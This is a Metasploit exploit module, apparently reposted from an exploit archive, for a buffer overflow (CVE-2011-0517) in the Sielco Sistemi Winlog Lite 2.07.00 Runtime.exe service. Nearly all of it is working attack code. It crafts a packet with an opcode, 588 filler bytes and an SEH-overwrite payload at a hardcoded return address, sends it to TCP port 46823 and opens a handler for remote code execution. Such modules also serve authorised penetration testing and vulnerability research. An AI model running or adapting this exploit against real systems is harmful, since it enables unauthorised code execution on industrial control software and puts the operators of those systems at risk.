Sielco Sistemi Winlog Buffer Overflow

##
# $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sielco Sistemi Winlog Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in Sielco
                Sistem Winlog <= 2.07.00. When sending a specially formatted
                packet to the Runtime.exe service, an attacker may be able to
                execute arbitrary code.
            },
            'Author'         => [ 'Luigi Auriemma', 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13000 $',
            'References'     =>
                [
                    [ 'CVE', '2011-0517' ],
                    [ 'OSVDB', '70418'],
                    [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'Space'    => 450,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Jan 13 2011'))
 
        register_options([Opt::RPORT(46823)], self.class)
    end
 
    def exploit
 
        connect
 
        data =  [0x02].pack('C') # opcode
        data << [0x0101].pack('n')
        data << rand_text_alpha_upper(588)
        data << generate_seh_payload(target.ret)
 
        print_status("Trying target #{target.name}...")
        sock.put(data)
 
        handler
        disconnect
 
    end
 
end



#  0day.today [2018-01-01]  #